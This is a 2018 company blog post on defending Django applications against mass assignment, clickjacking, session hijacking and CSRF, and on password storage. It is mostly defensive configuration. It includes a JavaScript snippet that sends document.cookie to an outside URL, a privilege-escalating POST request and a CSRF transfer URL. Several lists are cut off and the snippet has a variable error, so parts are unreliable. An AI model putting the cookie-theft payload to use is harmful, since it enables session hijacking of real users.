Protect Your Django Web Application From Security Threats

Archit Singh

23 Oct 2018

Introduction

Security is vital but variable according to the functionality of the web application. Some companies might have a greater concern for multi-factor authentication than others. However, one cannot completely rule out attempted break-ins. Therefore, a good web security is always a must.

This blog post attempts to throw some light on the possible threats and will act as an entry point for the reader for further personal research.

Mass Assignment

Mass assignment is known to be a vulnerability when a web application’s ORM(object-relational mapping) interface is exploited to change the certain type of information in the database, which in any case shouldn’t be allowed to be changed by the user. These types of information include the session keys, cookie data, passwords, permissions, and admin access.

 

Almost all of the latest web application frameworks such as Django, java spring, or even when SQLAlchemy used for frameworks such as Flask, implement an ORM interface over which the application can interact more easily with the database. This is where the data which are in serialization formats, are automatically converted into internal objects, by generating the SQL statements to reflect onto your database. It has never been this easy!

Moving on to the downtimes, if the selected framework’s interface is like a three-legged chair, or if it is a mistake on behalf of the developer that he or she failed to mark specific fields to be immutable, it is possible that the bad guy will try to overwrite fields that you actually never intended to be changed from the outside. Big trouble, mate.

Here is a typical request:

POST /addUser
userid=hashedtables&password=hashedpass&email=hasher@hashedin.com
And, here is the exploit(isAdmin=true):
POST /addUser  userid=hashtables&password=hashedpass&email=hash@hashedin.com&isAdmin=true

This functionality becomes exploitable when:

The easiest way to block this kind of breach in Django is to use Forms. There will be custom cases and requirements, but forms are almost always the right thing to do. The trick is just to use them in the right way.

from Django import forms
from myapp.models import Whatzit

class UserForm(forms.ModelForm):
    class Meta(object):
        model = User
        fields = ('username', 'password', 'email')

This whitelists the fields the user can change. Similarly, there is also an excludes property that lets us blacklist fields.

We have our ModelForm instance. If we want to add in our custom requirements, we can use custom validation logic. Django offers features where we can display an error to the user saying “your password needs to be of so and so length”, or any type of password policy that you want to incorporate. It also includes constraints on Age, username, email address and on different fields too.
How to run all the validation for us in our code?
Call the built-in is_valid() in your template, and it will do just that, furthermore, allowing the users to change only what they are authorized to change.

Clickjacking

Hijacking is to vehicles, as Clickjacking is to clicks. They are also known as “UI redress attacks”, where the attacker renders a concealed layer on your website, in the hope of deceiving the client into clicking on to it, may it be a button, or link, which redirects it to another page, owned by another application, domain, or both.

Suppose this new endpoint’s functionality is to install a script introducing a worm on your machine, which suppose in this case, is connected to your production server network. This worm will be the cause of replication of itself on every other host with which it can communicate with, resulting in big trouble.

Similarly, keyboard strokes can also be hijacked. With a carefully crafted combination of stylesheets, iframes, and text boxes, a user can be deceived into typing their password to their social account, or banking websites when they are actually typing into the attacker’s form input, thus giving them access to the secret data from the user.

This can either be done by using an XSS vector, which interchanges the endpoints and the links, or even entire segments of your page or can be even done by putting your page in an iframe and rendering the attacker’s content over yours.

The common solutions that can be discussed for the same consists of:

Framekillers

Framekillers are the solution to the problem of ClickJacking. They are written in JavaScript with the intended functionality of checking if the current window is the main window.

The suggested approach would be to hinder rendering of the window and unblock only after being sure that the current window is the primary one:

<style> html{display:none;} </style>
<script>
   if(self == top) {
       document.documentElement.style.display = 'block'; 
   } else {
       top.location = self.location; 
   }
</script>

Latest internet browsers have the inbuilt system of the HTTP header, X-Frame-Options, which can be thought of as a setting that allows you to permit resources loading within a frame or iframe.
The header takes two values:

Django’s implementation of clickjacking protection:

  1. A simple middleware that sets the header in all responses.
  2. A set of view decorators that can be used to override the middleware or to only set the header for certain views.

The X-Frame-Options HTTP header will only be set by the middleware or view decorators if it is not already present in the response.

Avoid Clickjacking.

Setting X-Frame-Options for all responses

To set the same X-Frame-Options value for all responses in your site, put ‘django.middleware.clickjacking.XFrameOptionsMiddleware’ to MIDDLEWARE:

 

MIDDLEWARE = [
    ...
    'django.middleware.clickjacking.XFrameOptionsMiddleware',
    ...
]

The middleware displayed above will set the X-Frame-Options header value to SAMEORIGIN for every HttpResponse. If your requirements are such that you want to use DENY in place of that, you can always set this setting to the value you want.

X_FRAME_OPTIONS = 'DENY'

There may be requirements where you want some views where you do not want the X-Frame-Options header value set. For such cases, Django offers view decorators that instructs the middleware not to set the header.

 

from django.http import HttpResponse
from django.views.decorators.clickjacking import xframe_options_exempt

@xframe_options_exempt
def let_load_in_an_iframe(request):
    return HttpResponse("This page is safe to load in an iframe on any site.")

 

@xframe_options_deny and @xframe_options_sameorigin are other decorators that Django provides apart from @xframe_options_exempt, to set the X-Frame-Options header on a selective view basis.

Read more about it at:

ClickJacking in Django

Session fixation and hijacking

It is always advised for a website’s security to force redirect all HTTP communication attempts via HTTPS. This would prevent malicious network users to use software such as Wireshark, smartsniff, which were intended towards the use of testing inter-connectivity among networks, can be used for sniffing authentication credentials or any other data that are being passed between the client and the server. This can also be done through ARP poisoning.

More on ARP poisoning:

ARP poisoning

In some very realizable cases, the data can be changed between the transit from client to server or vice versa. The people responsible for this are called active network trespassers.

 

Embrace the protection HTTPS provides. Enable it on your server. There may be additional steps in Django that you may want to look through:

 

var r = new Image();
r.src = 'http://hashedin.com/record?' + document.cookie;
body.appendChild(i);

This could very well result in grabbing every cookie on the site, but especially the session ID, and impersonating a poor, well-intentioned user.

In the end, be positive to delete the session data for a particular user after his/her log out. You could, in turn, mark it invalid, upon the further use or generate something like a temporary random generated security token upon each login to initiate the session in an intended manner.

CSRF: Cross-Site Request Forgeries

An example of a GET request:

http://badevilcorpbank.com/transfer?from=act1&to=act2&amt=100000.00

Leaving aside how we haven’t used HTTPS in spite of the above content, and following that, there is no confirmed validation that the request is coming from a legit requester. I could append an image tag with the URL thus resulting in receiving a hundred rupees every time, someone hit the endpoint.

Most web frameworks, like Django, have built-in CSRF protection that uses the concept of a nonce, or one-time-use number. These are submitted with a form (over the POST, hopefully, if not, sigh!) to the server. If the number generated on the server is the same as that was sent through the form, the request is allowed to pass through. If the number doesn’t match, the request is disallowed.

When installed with HTTPS, CsrfViewMiddleware in Django will check the authentication of the HTTP referer header. It will further check that the header is set to a URL which is of the same origin including domain, subdomain, and port.

Since HTTPS offers extra security it is of utmost importance to do the following:

A neat tool named Django-session-CSRF also comes in handy in such situations. Django-session-CSRF is an alternative implementation of Django’s CSRF protection that does not use cookies. Instead, it maintains the CSRF token on the server using Django’s session backend. The CSRF token must still be included in all POST requests (either with csrfmiddlewaretoken in the form or with the X-CSRFTOKEN header).

Find out more in Django-session-csrf.

A Django 3rd party package named Django-session-csrf is of vital importance in such situations. It provides a custom setting interface of Django’s CSRF protection. It does not run on cookies as legacy dDjango’sCSRF protection does. In place, it just maintains the CSRF token on the physical server using Django’s SESSSION BACKEND.

Either way, the csrf token must be included in all future POST requests.

This can be done in two ways:

Password Storage

The most important credential to authenticate and recognize a user is the password, which is why we need robust ways to store it in an encrypted way.

So what is The Right Thing to do?

This can be achieved by tools like Django-sha2, which adds strength, but backward-compatible, password hashing support to Django.

The image being self-explanatory highlights the need for security best practices to be implemented during the development of web applications. There are certain immediate steps you can take to quickly and effectively improve the security of your application. However, as applications grow, they become more cumbersome to keep track of in terms of security. Putting the proper web application security best practices in place, as outlined in the list above, will help ensure that your applications remain safe for everyone to use.


Have a question?

Need Technology advice?

Connect

+1 669 253 9011

contact@hashedin.com

facebook twitter linkedIn youtube